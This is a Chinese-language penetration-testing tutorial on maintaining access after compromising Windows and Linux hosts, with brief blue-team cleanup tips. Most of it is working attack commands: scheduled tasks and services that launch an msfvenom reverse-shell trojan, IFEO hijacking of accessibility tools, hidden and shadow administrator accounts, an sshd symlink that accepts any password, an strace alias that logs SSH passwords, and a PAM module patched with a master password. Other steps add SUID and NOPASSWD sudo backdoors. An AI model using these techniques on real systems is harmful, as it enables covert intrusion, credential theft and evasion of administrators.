权限维持
Windows 权限维持
当对一个操作系统拿到了最高的管理员权限后进行的渗透步骤(实际工作需要授权才可以)。
计划任务
GUI
win + r ==> taskschd.msc
使用命令行创建计划任务
- at:Windows vista 之前的计划任务程序
- 🌟schtasks:Windows vista 之后的计划任务程序
创建计划任务:
schtasks /create /tn "计划任务的名称" /tr "计划任务实际要运行的exe程序的绝对路径" /sc minute /mo 1
# /create 创建一个新的计划任务
# /tn 计划任务的名字
# /tr 计划任务实际要运行的 exe 程序的绝对路径
# /sc 调度
# /sc minute /mo 1 每分钟执行一次计划任务
权限维持应用: 创建一个计划任务,定时运行 Metasploit 生成的恶意 EXE 文件(如木马),实现持久化控制。
蓝队视角 – 入侵排查:
删除恶意计划任务:
schtasks /delete /tn "恶意计划任务的名称" 
镜像劫持(IFEO)
镜像文件执行选项(Image File Execution Options, IFEO)通过修改注册表,劫持指定程序的执行路径,常用于替换系统程序为恶意程序。
注册表路径:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
操作步骤(以劫持
notepad.exe
为cmd.exe
为例):- 在上述注册表路径下创建新项,命名为被劫持程序名(如
notepad.exe
)。 - 在新项中创建字符串值,命名为
Debugger
。 - 修改
Debugger
的值为目标程序的绝对路径(如C:\Windows\System32\cmd.exe
)。
- 在上述注册表路径下创建新项,命名为被劫持程序名(如
权限维持应用: 将系统程序(如
notepad.exe
)劫持为 Metasploit 生成的木马文件,运行被劫持程序时实际执行木马。常用被劫持程序: 以下程序可在锁屏界面运行,适合用作劫持目标:
- 粘滞键:
sethc.exe
- 放大镜:
magnify.exe
- 屏幕键盘:
osk.exe
- 轻松访问:
utilman.exe
- 讲述人:
narrator.exe
- 粘滞键:
蓝队视角 – 入侵排查:
- 检查上述注册表路径,寻找异常的
Debugger
值。 - 删除或修改可疑注册表项,恢复原程序路径。
- 检查上述注册表路径,寻找异常的
后门用户
通过创建后门用户,攻击者可以在系统中保留管理员权限账户。
普通管理员用户
创建命令:
net user userName password /add && net localgroup administrators userName /add
- 说明:创建一个普通管理员用户,权限受限,非完整管理员权限。
隐藏用户
创建命令:
net user userName$ password /add && net localgroup administrators userName$ /add
- 说明:以
$
结尾的用户名在 Windows 系统中为隐藏用户,难以通过常规方式发现。
蓝队视角 – 入侵排查:
检查管理员组:
net localgroup administrators
控制面板查看: 打开
控制面板 -> 用户账户和家庭安全 -> 用户账户 -> 管理账户
,检查异常账户。注册表检查: 检查
HKLM\SAM\SAM\Domains\Account\Users\Names
(需修改权限后查看)。删除后门用户:
net user userName /del
RID 劫持
功能:创建与 Administrator
权限相同的隐藏用户,登录后具有完整管理员权限。
操作步骤:
创建隐藏用户:
net user userName$ password /add
使用 Metasploit 上线,获取 SYSTEM 权限。
使用 Metasploit 模块
post/windows/manage/rid_hijack
。运行模块后,隐藏用户将具有与
Administrator
相同的权限,登录后显示用户名为userName$
,但实际权限和桌面环境为Administrator
。
影子账户
功能:创建无法通过常规方式发现的隐藏用户,支持 RDP 登录,权限与 Administrator
一致。
操作步骤:
创建隐藏用户:
net user userName$ password /add
打开注册表,定位到
HKLM\SAM\SAM\Domains\Account\Users\Names
,找到 Administrator 用户机器对应的 HEX 文件夹。复制
Administrator
用户对应 HEX 文件夹中的F
值,粘贴到userName$
对应 HEX 文件夹的F
值。导出
userName$
及其 HEX 文件夹为.reg
文件。删除
userName$
用户:net user userName$ /del
导入导出的
.reg
文件(双击即可导入)。此时
userName$
用户即可恢复(userName$
和 administrator 权限一致,在 net user 和控制面板中均无法找到userName$
用户),该用户支持 RDP 登录。
蓝队视角 – 入侵排查:
- 影子账户仅在注册表中可见,
net user
和控制面板无法发现。 - 检查
HKLM\SAM\SAM\Domains\Account\Users\Names
下的异常用户。
开机自启动
通过注册表设置程序开机自启动,需用户登录后才会触发。
注册表路径:
# 所有用户登录均触发 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # 仅当前用户登录触发 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
操作步骤:
- 在上述路径下创建字符串值,名称自定义,值为恶意程序的绝对路径。
- 用户登录后,恶意程序自动运行。
蓝队视角 – 入侵排查:
- 检查上述注册表路径,删除可疑的字符串值。
服务开机自启动
通过创建 Windows 服务实现开机自启动,即使未登录用户也会运行。
创建服务:
sc create 服务名 binPath= "C:\path\to\malware.exe" start= auto
- 注意:
binPath=
和start= auto
中等号左右的空格要求严格,等号左边无空格,右边有空格。
生成服务型木马: 使用 Metasploit 生成服务型 EXE 文件,并设置服务开机自启动:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.126.99 lport=12345 -f exe-service -o 12345.exe
sc create 服务名 binPath= "C:\Windows\Temp\12345.exe" start= auto
- 说明:Windows 服务会验证 EXE 是否为真实服务程序,需使用
-f exe-service
格式生成木马。
蓝队视角 – 入侵排查:
删除恶意服务:
sc delete 服务名
检查服务: 使用
sc query
或services.msc
检查可疑服务。
Linux 权限维持
SSH 公钥权限维持
通过在目标机器上配置 SSH 公钥,攻击者可以实现持久化访问。
操作步骤:
生成密钥对 在攻击机上生成 SSH 密钥对:
ssh-keygen
追加公钥到目标机器 将生成的公钥写入目标用户的 SSH 配置文件:
/root/.ssh/authorized_keys # 或 /home/userName/.ssh/authorized_keys
通过私钥登录目标机器 使用私钥以指定用户身份登录:
ssh userName@ip -i id_rsa
注意事项:
Ubuntu/Debian 默认限制:默认配置下,Ubuntu/Debian 不允许 root 用户通过 SSH 登录,因此直接写入 root 用户的公钥可能无效。
解决方案:
修改 SSH 配置文件
/etc/ssh/sshd_config
,将PermitRootLogin
设置为yes
:sed -i 's/#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config systemctl restart sshd
写入普通用户的公钥,结合 SUID 提权后门实现权限维持。
SSH 软链接
通过创建 SSH 软链接,攻击者可以在目标机器上启动一个匿名 SSH 服务,允许任意密码登录。
操作步骤:
定位 sshd 文件 查找目标机器上
sshd
文件的路径:whereis sshd
创建软链接 为
sshd
文件创建软链接,例如链接至/tmp/su
:ln -sf /usr/sbin/sshd /tmp/su
启动匿名 SSH 服务 使用软链接启动新的 SSH 服务,并指定端口:
/tmp/su -oPort=[port]
登录验证 此时目标机器上运行了一个匿名 SSH 服务,攻击者可通过任意密码登录指定端口的 SSH 服务。
SSH key logger 键盘记录
通过配置别名,记录目标用户通过 SSH 登录其他系统时输入的密码。
作用:当受害者登录到其他 Linux 系统 SSH 服务时,会记录登录时输入的密码,保存到 /tmp/sshpwdxxx
中。
操作步骤:
创建 SSH 命令别名
在目标用户的环境中为 ssh
命令创建别名,记录输入的密码:
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
SSH 隐身登录
通过特殊 SSH 参数配置,隐藏登录痕迹,避免被
w
或last
命令检测到。
操作步骤:
隐身登录命令 使用以下命令进行隐身登录:
ssh -T userName@ip /bin/bash -i
# 或
ssh -o UserKnownHostsFile=/dev/null -T userName@ip /bin/bash -if
# -T 参数禁用伪终端分配,减少登录痕迹。
# -o UserKnownHostsFile =/dev/null 避免将目标主机信息记录到本地 known_hosts 文件
PAM 后门
通过修改 Linux 的 PAM(Pluggable Authentication Module)模块,创建自定义密码后门。
作用:PAM 是 Linux 系统的身份验证机制(pam_unix.so
)。
操作步骤:
查找 PAM 模块位置 定位目标机器上的
pam_unix.so
文件:find / -name "pam_unix.so" 2>/dev/null
下载并解压 PAM 源码 下载 Linux-PAM 源码并解压:
wget https://ftp2.osuosl.org/pub/blfs/conglomeration/Linux-PAM/Linux-PAM-1.1.8.tar.bz2 tar -xvf Linux-PAM-1.1.8.tar.bz2
修改 PAM 认证代码 进入解压后的目录
Linux-PAM-1.1.8/modules/pam_unix
,编辑pam_unix_auth.c
文件,在密码验证函数中添加以下代码:if (strcmp("[password]", p) == 0) { return PAM_SUCCESS; } // 增加的代码意思为: // 比较 p 是否等于 [password],[password] 可以自定义 // 若等于,则会返回 PAM_SUCCESS,表明身份验证成功
此代码允许使用自定义密码
[password]
绕过身份验证。安装编译工具并编译 确保当前目录包含
configure
文件,安装必要的编译工具并编译:apt install -y gcc flex make ./configure --prefix=/usr --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr make
替换 PAM 模块 备份原有
pam_unix.so
文件,并替换为新编译的模块:cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so.bak cp /tmp/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so
验证后门 使用设置的
[password]
登录任意用户,正常用户及其密码登录不受影响。
注意事项:
- 编译和替换操作需 root 权限。
- 确保备份原始
pam_unix.so
文件,以防系统认证出现问题。
suid 后门
通过为特定命令设置 SUID 权限,允许普通用户以 root 权限执行命令。
操作步骤:
创建普通用户 新建一个普通用户用于后续操作。
设置 SUID 权限 为存在提权可能的命令(如
find
)添加 SUID 权限:chmod u+s /usr/bin/find
查找提权方式 使用 GTFOBins 查找可利用的 SUID 提权命令:
find / -perm -u=s -type f 2>/dev/null
注意事项:
- 确保目标命令具有可利用的提权特性。
sudo 后门
通过修改 /etc/sudoers
文件,赋予普通用户无密码执行 root 权限的能力。
操作步骤:
创建普通用户 新建一个普通用户。
修改 sudoers 文件 编辑
/etc/sudoers
文件,添加以下内容:[userName] ALL=(ALL:ALL) NOPASSWD:ALL
提权验证 使用普通用户登录后,执行以下命令获取 root 权限:
sudo bash
注意事项:
- 若 root 权限丢失,可通过普通用户登录并执行
sudo bash
恢复 root 权限。